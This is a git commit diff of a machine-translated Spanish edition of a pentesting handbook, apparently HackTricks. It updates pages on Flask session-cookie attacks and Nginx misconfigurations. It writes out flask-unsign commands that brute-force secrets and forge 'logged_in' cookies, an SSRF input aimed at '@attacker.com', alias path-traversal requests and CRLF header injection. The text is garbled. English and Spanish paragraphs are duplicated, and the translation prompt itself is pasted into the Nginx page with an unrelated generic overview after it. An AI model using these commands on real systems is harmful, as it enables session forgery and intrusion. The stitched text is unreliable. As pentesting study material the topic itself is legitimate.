Translated ['mobile-pentesting/android-app-pentesting/frida-tutorial/owa
This commit is contained in:
Translator
parent
6ab263e412
commit
fea3b9fefa
Binary file not shown.
|
After Width: | Height: | Size: 120 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 115 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 109 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 115 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 227 KiB |
|
|
@ -611,6 +611,7 @@
|
|||
* [Bypassing SOP with Iframes - 1](pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
|
||||
* [Bypassing SOP with Iframes - 2](pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
|
||||
* [Steal postmessage modifying iframe location](pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
|
||||
* [Proxy / WAF Protections Bypass](pentesting-web/proxy-waf-protections-bypass.md)
|
||||
* [Race Condition](pentesting-web/race-condition.md)
|
||||
* [Rate Limit Bypass](pentesting-web/rate-limit-bypass.md)
|
||||
* [Registration & Takeover Vulnerabilities](pentesting-web/registration-vulnerabilities.md)
|
||||
|
|
|
|||
|
|
@ -20,7 +20,9 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**
|
|||
|
||||
\\
|
||||
|
||||
**Desde**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
***
|
||||
|
||||
**De**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
||||
|
||||
## Solución 1
|
||||
|
|
|
|||
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
@ -27,7 +27,7 @@ El nombre de sesión de la cookie por defecto es **`session`**.
|
|||
|
||||
### Decodificador
|
||||
|
||||
Decodificador de cookies de Flask en línea: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
||||
Decodificador de cookies Flask en línea: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
||||
|
||||
#### Manual
|
||||
|
||||
|
|
@ -47,70 +47,88 @@ pip3 install flask-unsign
|
|||
```
|
||||
#### **Decodificar Cookie**
|
||||
|
||||
La decodificación de una cookie es un proceso importante en la pentesting web, ya que puede revelar información sensible almacenada en la cookie. Al decodificar una cookie, se puede obtener información como el nombre de usuario, la identificación de sesión u otros datos confidenciales.
|
||||
To decode a cookie, you can use various tools and techniques. One common method is to use a base64 decoder to convert the cookie value from base64 encoding to plain text. This can be done using online tools or programming libraries.
|
||||
|
||||
Existen varias herramientas y técnicas disponibles para decodificar cookies. A continuación, se muestra un ejemplo de cómo decodificar una cookie utilizando Python y la biblioteca Flask.
|
||||
Here is an example of how to decode a cookie using Python and the Flask framework:
|
||||
|
||||
```python
|
||||
from flask import Flask, request
|
||||
import base64
|
||||
|
||||
from flask import Flask, request
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route('/')
|
||||
def index():
|
||||
cookie = request.cookies.get('session')
|
||||
if cookie:
|
||||
decoded_cookie = base64.b64decode(cookie).decode('utf-8')
|
||||
return f'Decoded Cookie: {decoded_cookie}'
|
||||
else:
|
||||
return 'No cookie found'
|
||||
cookie_value = request.cookies.get('cookie_name')
|
||||
decoded_value = base64.b64decode(cookie_value).decode('utf-8')
|
||||
return f'Decoded cookie value: {decoded_value}'
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run()
|
||||
```
|
||||
|
||||
En este ejemplo, se utiliza Flask para crear una aplicación web básica. La función `index()` se encarga de obtener la cookie llamada 'session' y decodificarla utilizando la función `base64.b64decode()`. Luego, se muestra la cookie decodificada en la respuesta.
|
||||
In this example, we retrieve the value of the cookie named 'cookie_name' from the request object. We then use the `base64.b64decode()` function to decode the cookie value from base64 encoding. Finally, we decode the byte string to UTF-8 encoding using the `decode()` method.
|
||||
|
||||
Al ejecutar esta aplicación y acceder a la página principal, se mostrará la cookie decodificada si existe. Esto puede ser útil para identificar información sensible almacenada en las cookies y evaluar la seguridad de una aplicación web.
|
||||
|
||||
Es importante tener en cuenta que la decodificación de una cookie no siempre revelará información confidencial. Algunas aplicaciones pueden cifrar o codificar adicionalmente los datos de la cookie antes de almacenarlos. En tales casos, puede ser necesario utilizar técnicas adicionales para descifrar o decodificar los datos.
|
||||
Keep in mind that decoding a cookie does not necessarily mean you will be able to understand its contents. The decoded value may still be encrypted or encoded in a different format. It is important to analyze the decoded value further to determine its meaning and potential security implications.
|
||||
```bash
|
||||
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
||||
```
|
||||
#### **Fuerza Bruta**
|
||||
|
||||
Brute force, also known as brute force attack, is a hacking technique used to gain unauthorized access to a system or account by systematically trying all possible combinations of passwords until the correct one is found. This method relies on the assumption that the password is weak and can be easily guessed.
|
||||
Brute force, also known as brute force attack, is a common hacking technique used to gain unauthorized access to a system or account. It involves systematically trying all possible combinations of passwords until the correct one is found.
|
||||
|
||||
In web application pentesting, brute force attacks are commonly used against login pages or any other form that requires user authentication. Attackers use automated tools to send a large number of login attempts, trying different combinations of usernames and passwords.
|
||||
Fuerza bruta, también conocida como ataque de fuerza bruta, es una técnica de hacking comúnmente utilizada para obtener acceso no autorizado a un sistema o cuenta. Consiste en probar sistemáticamente todas las posibles combinaciones de contraseñas hasta encontrar la correcta.
|
||||
|
||||
To protect against brute force attacks, it is important to implement strong password policies, such as requiring complex passwords and enforcing account lockouts after a certain number of failed login attempts. Additionally, implementing CAPTCHA or rate limiting mechanisms can help prevent automated brute force attacks.
|
||||
This technique can be used against web applications built with Flask. Attackers may attempt to brute force the login page by submitting multiple username and password combinations until they find the correct credentials.
|
||||
|
||||
#### **Fuerza Bruta**
|
||||
Esta técnica puede ser utilizada contra aplicaciones web construidas con Flask. Los atacantes pueden intentar realizar un ataque de fuerza bruta en la página de inicio de sesión, enviando múltiples combinaciones de nombre de usuario y contraseña hasta encontrar las credenciales correctas.
|
||||
|
||||
La fuerza bruta, también conocida como ataque de fuerza bruta, es una técnica de hacking utilizada para obtener acceso no autorizado a un sistema o cuenta mediante la prueba sistemática de todas las combinaciones posibles de contraseñas hasta encontrar la correcta. Este método se basa en la suposición de que la contraseña es débil y puede ser fácilmente adivinada.
|
||||
To protect against brute force attacks, it is important to implement strong password policies, such as enforcing complex passwords and implementing account lockouts after a certain number of failed login attempts.
|
||||
|
||||
En la pentesting de aplicaciones web, los ataques de fuerza bruta se utilizan comúnmente contra páginas de inicio de sesión u cualquier otro formulario que requiera autenticación de usuario. Los atacantes utilizan herramientas automatizadas para enviar un gran número de intentos de inicio de sesión, probando diferentes combinaciones de nombres de usuario y contraseñas.
|
||||
|
||||
Para protegerse contra los ataques de fuerza bruta, es importante implementar políticas de contraseñas fuertes, como requerir contraseñas complejas y aplicar bloqueos de cuenta después de un cierto número de intentos de inicio de sesión fallidos. Además, implementar CAPTCHA o mecanismos de limitación de velocidad puede ayudar a prevenir ataques de fuerza bruta automatizados.
|
||||
Para protegerse contra los ataques de fuerza bruta, es importante implementar políticas de contraseñas fuertes, como exigir contraseñas complejas e implementar bloqueos de cuenta después de un cierto número de intentos de inicio de sesión fallidos.
|
||||
```bash
|
||||
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
|
||||
```
|
||||
#### **Firma**
|
||||
|
||||
Signing is a process used to ensure the integrity and authenticity of data. In the context of web applications, signing is commonly used to verify the authenticity of user requests and prevent tampering.
|
||||
Signing is a process used to verify the authenticity and integrity of data. In the context of web applications, signing is often used to ensure that data sent between the client and the server has not been tampered with.
|
||||
|
||||
La firma es un proceso utilizado para garantizar la integridad y autenticidad de los datos. En el contexto de las aplicaciones web, la firma se utiliza comúnmente para verificar la autenticidad de las solicitudes de los usuarios y prevenir la manipulación.
|
||||
La firma es un proceso utilizado para verificar la autenticidad e integridad de los datos. En el contexto de las aplicaciones web, la firma se utiliza a menudo para asegurarse de que los datos enviados entre el cliente y el servidor no han sido manipulados.
|
||||
|
||||
##### **Signing Cookies**
|
||||
|
||||
When using cookies to store session data, it is important to sign the cookies to prevent tampering. By signing the cookies, the server can verify that the data has not been modified by the client.
|
||||
|
||||
Al utilizar cookies para almacenar datos de sesión, es importante firmar las cookies para evitar manipulaciones. Al firmar las cookies, el servidor puede verificar que los datos no han sido modificados por el cliente.
|
||||
|
||||
##### **Signing JSON Web Tokens (JWT)**
|
||||
|
||||
JWTs are commonly used for authentication and authorization in web applications. To ensure the integrity of JWTs, they should be signed using a secret key. This allows the server to verify that the token has not been tampered with.
|
||||
|
||||
Los JWT se utilizan comúnmente para la autenticación y autorización en aplicaciones web. Para garantizar la integridad de los JWT, deben ser firmados utilizando una clave secreta. Esto permite al servidor verificar que el token no ha sido manipulado.
|
||||
|
||||
##### **Signing API Requests**
|
||||
|
||||
When making API requests, it is important to sign the requests to prevent tampering and ensure that they are coming from a trusted source. This can be done by including a signature in the request headers or body, which is generated using a secret key known only to the client and server.
|
||||
|
||||
Al realizar solicitudes de API, es importante firmar las solicitudes para evitar manipulaciones y asegurarse de que provienen de una fuente confiable. Esto se puede hacer incluyendo una firma en las cabeceras o el cuerpo de la solicitud, que se genera utilizando una clave secreta conocida solo por el cliente y el servidor.
|
||||
```bash
|
||||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
||||
```
|
||||
#### Firma usando versiones antiguas (legacy)
|
||||
|
||||
When using Flask, it is important to be aware of the potential security risks associated with using legacy versions. Legacy versions of Flask may have vulnerabilities that can be exploited by attackers. Therefore, it is recommended to always use the latest version of Flask to ensure the best security.
|
||||
When using Flask, it is important to be aware of the potential security risks associated with using legacy versions. Older versions of Flask may have vulnerabilities that can be exploited by attackers. Therefore, it is recommended to always use the latest stable version of Flask to ensure the best security.
|
||||
|
||||
Cuando se utiliza Flask, es importante tener en cuenta los posibles riesgos de seguridad asociados con el uso de versiones antiguas. Las versiones antiguas de Flask pueden tener vulnerabilidades que pueden ser explotadas por atacantes. Por lo tanto, se recomienda siempre utilizar la última versión estable de Flask para garantizar la mejor seguridad.
|
||||
|
||||
To sign data using legacy versions of Flask, you can use the `itsdangerous` library. This library provides a `URLSafeSerializer` class that can be used to sign and verify data.
|
||||
|
||||
Here is an example of how to sign data using legacy versions of Flask:
|
||||
Para firmar datos utilizando versiones antiguas de Flask, puedes utilizar la biblioteca `itsdangerous`. Esta biblioteca proporciona una clase `URLSafeSerializer` que se puede utilizar para firmar y verificar datos.
|
||||
|
||||
Here is an example of how to sign data using the `URLSafeSerializer` class:
|
||||
|
||||
Aquí tienes un ejemplo de cómo firmar datos utilizando la clase `URLSafeSerializer`:
|
||||
|
||||
```python
|
||||
from itsdangerous import URLSafeSerializer
|
||||
|
|
@ -125,9 +143,22 @@ signed_data = serializer.dumps('your_data')
|
|||
verified_data = serializer.loads(signed_data)
|
||||
```
|
||||
|
||||
In the example above, `your_secret_key` should be replaced with your actual secret key, and `your_data` should be replaced with the data you want to sign.
|
||||
```python
|
||||
from itsdangerous import URLSafeSerializer
|
||||
|
||||
By using the `URLSafeSerializer` class from the `itsdangerous` library, you can securely sign and verify data in legacy versions of Flask. However, it is still recommended to upgrade to the latest version of Flask to take advantage of the latest security features and patches.
|
||||
# Crea un objeto serializador con una clave secreta
|
||||
serializer = URLSafeSerializer('tu_clave_secreta')
|
||||
|
||||
# Firma los datos
|
||||
signed_data = serializer.dumps('tus_datos')
|
||||
|
||||
# Verifica los datos firmados
|
||||
verified_data = serializer.loads(signed_data)
|
||||
```
|
||||
|
||||
In this example, the `URLSafeSerializer` is created with a secret key. The `dumps()` method is used to sign the data, and the `loads()` method is used to verify the signed data.
|
||||
|
||||
En este ejemplo, se crea el `URLSafeSerializer` con una clave secreta. El método `dumps()` se utiliza para firmar los datos y el método `loads()` se utiliza para verificar los datos firmados.
|
||||
```bash
|
||||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||||
```
|
||||
|
|
@ -141,11 +172,36 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
|
|||
```
|
||||
### SQLi en la cookie de sesión de Flask con SQLmap
|
||||
|
||||
[**Este ejemplo**](../../pentesting-web/sql-injection/sqlmap/#eval) utiliza la opción `eval` de sqlmap para **firmar automáticamente** las cargas útiles de sqlmap para Flask utilizando un secreto conocido.
|
||||
[**Este ejemplo**](../../pentesting-web/sql-injection/sqlmap/#eval) utiliza la opción `eval` de sqlmap para **firmar automáticamente los payloads de sqlmap** para Flask utilizando un secreto conocido.
|
||||
|
||||
## Proxy de Flask a SSRF
|
||||
|
||||
[**En este artículo**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) se explica cómo Flask permite una solicitud que comienza con el carácter "@":
|
||||
```http
|
||||
GET @/ HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
Cuál de los siguientes escenarios:
|
||||
```python
|
||||
from flask import Flask
|
||||
from requests import get
|
||||
|
||||
app = Flask('__main__')
|
||||
SITE_NAME = 'https://google.com/'
|
||||
|
||||
@app.route('/', defaults={'path': ''})
|
||||
@app.route('/<path:path>')
|
||||
def proxy(path):
|
||||
return get(f'{SITE_NAME}{path}').content
|
||||
|
||||
app.run(host='0.0.0.0', port=8080)
|
||||
```
|
||||
Podría permitir introducir algo como "@attacker.com" para causar un **SSRF**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
@ -154,7 +210,7 @@ Obtén acceso hoy mismo:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
|||
|
|
@ -7,8 +7,8 @@
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -22,41 +22,71 @@
|
|||
## Falta la ubicación raíz <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
```
|
||||
server {
|
||||
root /etc/nginx;
|
||||
root /etc/nginx;
|
||||
|
||||
location /hello.txt {
|
||||
try_files $uri $uri/ =404;
|
||||
proxy_pass http://127.0.0.1:8080/;
|
||||
}
|
||||
location /hello.txt {
|
||||
try_files $uri $uri/ =404;
|
||||
proxy_pass http://127.0.0.1:8080/;
|
||||
}
|
||||
}
|
||||
```
|
||||
La directiva "root" especifica la carpeta raíz para Nginx. En el ejemplo anterior, la carpeta raíz es `/etc/nginx`, lo que significa que podemos acceder a los archivos dentro de esa carpeta. La configuración anterior no tiene una ubicación para `/ (location / {...})`, solo para `/hello.txt`. Debido a esto, la directiva "root" se establecerá globalmente, lo que significa que las solicitudes a `/` lo llevarán a la ruta local `/etc/nginx`.
|
||||
La directiva root especifica la carpeta raíz para Nginx. En el ejemplo anterior, la carpeta raíz es `/etc/nginx`, lo que significa que podemos acceder a los archivos dentro de esa carpeta. La configuración anterior no tiene una ubicación para `/ (location / {...})`, solo para `/hello.txt`. Debido a esto, la directiva `root` se establecerá de forma global, lo que significa que las solicitudes a `/` te llevarán a la ruta local `/etc/nginx`.
|
||||
|
||||
Una solicitud tan simple como `GET /nginx.conf` revelaría el contenido del archivo de configuración de Nginx almacenado en `/etc/nginx/nginx.conf`. Si la raíz se establece en `/etc`, una solicitud `GET` a `/nginx/nginx.conf` revelaría el archivo de configuración. En algunos casos, es posible acceder a otros archivos de configuración, registros de acceso e incluso credenciales cifradas para la autenticación básica de HTTP.
|
||||
|
||||
## Configuración incorrecta de LFI de Alias <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||
## Configuración incorrecta de Alias LFI <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||
|
||||
Dentro de la configuración de Nginx, busque las declaraciones "location", si alguna se parece a:
|
||||
Dentro de la configuración de Nginx, busca las declaraciones "location", si alguna se parece a:
|
||||
```
|
||||
location /imgs {
|
||||
alias /path/images/;
|
||||
location /imgs {
|
||||
alias /path/images/;
|
||||
}
|
||||
```
|
||||
Hay una vulnerabilidad de LFI porque:
|
||||
Existe una vulnerabilidad de LFI debido a:
|
||||
```
|
||||
/imgs../flag.txt
|
||||
```
|
||||
El siguiente es contenido de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo network-services-pentesting/pentesting-web/nginx.md. Traduzca el texto relevante en inglés al español y devuelva la traducción manteniendo la sintaxis de markdown. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube / SaaS (como Workspace, aws, gcp ...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada aparte de la traducción y la sintaxis de markdown.
|
||||
# Nginx
|
||||
|
||||
Nginx is a popular web server that is commonly used to serve static content, reverse proxy, and load balance web applications. It is known for its high performance, scalability, and reliability.
|
||||
|
||||
## Configuration Files
|
||||
|
||||
Nginx uses configuration files to define how it should handle incoming requests. The main configuration file is typically located at `/etc/nginx/nginx.conf`. Additional configuration files can be included using the `include` directive.
|
||||
|
||||
## Virtual Hosts
|
||||
|
||||
Nginx supports virtual hosts, allowing multiple websites to be hosted on a single server. Each virtual host is defined in a separate configuration file, typically located in the `/etc/nginx/conf.d/` directory. Virtual hosts can be used to serve different websites based on the domain name or IP address.
|
||||
|
||||
## Reverse Proxy
|
||||
|
||||
Nginx can be used as a reverse proxy to forward requests to backend servers. This is useful for load balancing, caching, and improving performance. The `proxy_pass` directive is used to specify the backend server to which requests should be forwarded.
|
||||
|
||||
## Load Balancing
|
||||
|
||||
Nginx can also be used as a load balancer to distribute incoming requests across multiple backend servers. It supports various load balancing algorithms, such as round-robin, least connections, and IP hash. The `upstream` directive is used to define a group of backend servers, and the `proxy_pass` directive is used to forward requests to the backend servers.
|
||||
|
||||
## SSL/TLS Termination
|
||||
|
||||
Nginx can terminate SSL/TLS connections, allowing it to handle HTTPS requests. It can also be used to offload SSL/TLS processing from backend servers, improving performance. The `ssl_certificate` and `ssl_certificate_key` directives are used to specify the SSL/TLS certificate and private key, respectively.
|
||||
|
||||
## Security Considerations
|
||||
|
||||
When configuring Nginx, it is important to consider security best practices. This includes properly securing the server, implementing access controls, and protecting sensitive information. Regularly updating Nginx and its modules is also important to address any security vulnerabilities.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Nginx is a powerful web server that offers a wide range of features and capabilities. Understanding how to configure and use Nginx effectively can greatly enhance the performance, scalability, and security of web applications.
|
||||
```
|
||||
/path/images/../flag.txt
|
||||
```
|
||||
La configuración correcta será:
|
||||
```
|
||||
location /imgs/ {
|
||||
alias /path/images/;
|
||||
location /imgs/ {
|
||||
alias /path/images/;
|
||||
}
|
||||
```
|
||||
**Entonces, si encuentras algún servidor Nginx, debes verificar esta vulnerabilidad. Además, puedes descubrirla si encuentras que la fuerza bruta de archivos/directorios se comporta de manera extraña.**
|
||||
**Entonces, si encuentras algún servidor Nginx, debes verificar esta vulnerabilidad. Además, puedes descubrirla si notas que la fuerza bruta de archivos/directorios se comporta de manera extraña.**
|
||||
|
||||
Más información: [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)
|
||||
|
||||
|
|
@ -68,15 +98,27 @@ alias../../ => HTTP status code 403
|
|||
alias../../../../../../../../../../../ => HTTP status code 400
|
||||
alias../ => HTTP status code 403
|
||||
```
|
||||
## Uso inseguro de variables <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||
## Restricción de ruta insegura <a href="#uso-de-variable-insegura" id="uso-de-variable-insegura"></a>
|
||||
|
||||
Verifica la siguiente página para aprender cómo evadir directivas como:
|
||||
```plaintext
|
||||
location = /admin {
|
||||
deny all;
|
||||
}
|
||||
|
||||
location = /admin/ {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
## Uso inseguro de variables <a href="#uso-inseguro-de-variables" id="uso-inseguro-de-variables"></a>
|
||||
|
||||
Un ejemplo de una configuración vulnerable de Nginx es:
|
||||
```
|
||||
location / {
|
||||
return 302 https://example.com$uri;
|
||||
return 302 https://example.com$uri;
|
||||
}
|
||||
```
|
||||
Los caracteres de nueva línea para las solicitudes HTTP son \r (retorno de carro) y \n (avance de línea). La codificación de URL de los caracteres de nueva línea resulta en la siguiente representación de los caracteres `%0d%0a`. Cuando estos caracteres se incluyen en una solicitud como `http://localhost/%0d%0aDetectify:%20clrf` a un servidor con la configuración incorrecta, el servidor responderá con una nueva cabecera llamada `Detectify` ya que la variable $uri contiene los caracteres de nueva línea decodificados de la URL.
|
||||
Los caracteres de nueva línea para las solicitudes HTTP son \r (retorno de carro) y \n (salto de línea). La codificación de URL de los caracteres de nueva línea resulta en la siguiente representación de los caracteres `%0d%0a`. Cuando estos caracteres se incluyen en una solicitud como `http://localhost/%0d%0aDetectify:%20clrf` a un servidor con la configuración incorrecta, el servidor responderá con una nueva cabecera llamada `Detectify`, ya que la variable $uri contiene los caracteres de nueva línea decodificados de la URL.
|
||||
```
|
||||
HTTP/1.1 302 Moved Temporarily
|
||||
Server: nginx/1.19.3
|
||||
|
|
@ -86,35 +128,35 @@ Connection: keep-alive
|
|||
Location: https://example.com/
|
||||
Detectify: clrf
|
||||
```
|
||||
Aprenda más sobre los riesgos de la inyección de CRLF y la división de respuestas en [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||
Aprende más sobre los riesgos de la inyección de CRLF y la división de respuestas en [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||
|
||||
### Cualquier variable
|
||||
|
||||
En algunos casos, los datos suministrados por el usuario pueden ser tratados como una variable de Nginx. No está claro por qué puede estar sucediendo esto, pero no es tan poco común o fácil de probar como se ve en este [informe de H1](https://hackerone.com/reports/370094). Si buscamos el mensaje de error, podemos ver que se encuentra en el [módulo de filtro SSI](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), lo que revela que esto se debe a SSI.
|
||||
En algunos casos, los datos proporcionados por el usuario pueden ser tratados como una variable de Nginx. No está claro por qué esto puede estar sucediendo, pero no es tan raro o fácil de probar como se ve en este [informe de H1](https://hackerone.com/reports/370094). Si buscamos el mensaje de error, podemos ver que se encuentra en el [módulo de filtro SSI](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), revelando así que esto se debe a SSI.
|
||||
|
||||
Una forma de probar esto es establecer un valor de encabezado de referencia:
|
||||
Una forma de probar esto es establecer un valor de encabezado referer:
|
||||
```
|
||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||
```
|
||||
Escaneamos esta mala configuración y encontramos varias instancias donde un usuario podría imprimir el valor de las variables de Nginx. El número de instancias vulnerables encontradas ha disminuido, lo que podría indicar que esto fue parcheado.
|
||||
Escaneamos esta configuración incorrecta y encontramos varias instancias donde un usuario podría imprimir el valor de las variables de Nginx. El número de instancias vulnerables encontradas ha disminuido, lo que podría indicar que esto fue parcheado.
|
||||
|
||||
## Lectura de respuesta de backend sin procesar
|
||||
## Lectura de respuesta en bruto del backend
|
||||
|
||||
Con `proxy_pass` de Nginx, existe la posibilidad de interceptar errores y encabezados HTTP creados por el backend. Esto es muy útil si desea ocultar mensajes de error y encabezados internos para que sean manejados por Nginx. Nginx automáticamente servirá una página de error personalizada si el backend responde con una. Pero, ¿qué pasa si Nginx no entiende que es una respuesta HTTP?
|
||||
Con `proxy_pass` de Nginx, existe la posibilidad de interceptar errores y encabezados HTTP creados por el backend. Esto es muy útil si desea ocultar mensajes de error y encabezados internos para que sean manejados por Nginx en su lugar. Nginx automáticamente servirá una página de error personalizada si el backend responde con una. Pero, ¿qué sucede si Nginx no entiende que es una respuesta HTTP?
|
||||
|
||||
Si un cliente envía una solicitud HTTP no válida a Nginx, esa solicitud se reenviará tal cual al backend, y el backend responderá con su contenido sin procesar. Entonces, Nginx no entenderá la respuesta HTTP no válida y simplemente la reenviará al cliente. Imagina una aplicación uWSGI como esta:
|
||||
Si un cliente envía una solicitud HTTP inválida a Nginx, esa solicitud se reenviará tal cual al backend, y el backend responderá con su contenido en bruto. Luego, Nginx no entenderá la respuesta HTTP inválida y simplemente la reenviará al cliente. Imagina una aplicación uWSGI como esta:
|
||||
```python
|
||||
def application(environ, start_response):
|
||||
start_response('500 Error', [('Content-Type',
|
||||
start_response('500 Error', [('Content-Type',
|
||||
'text/html'),('Secret-Header','secret-info')])
|
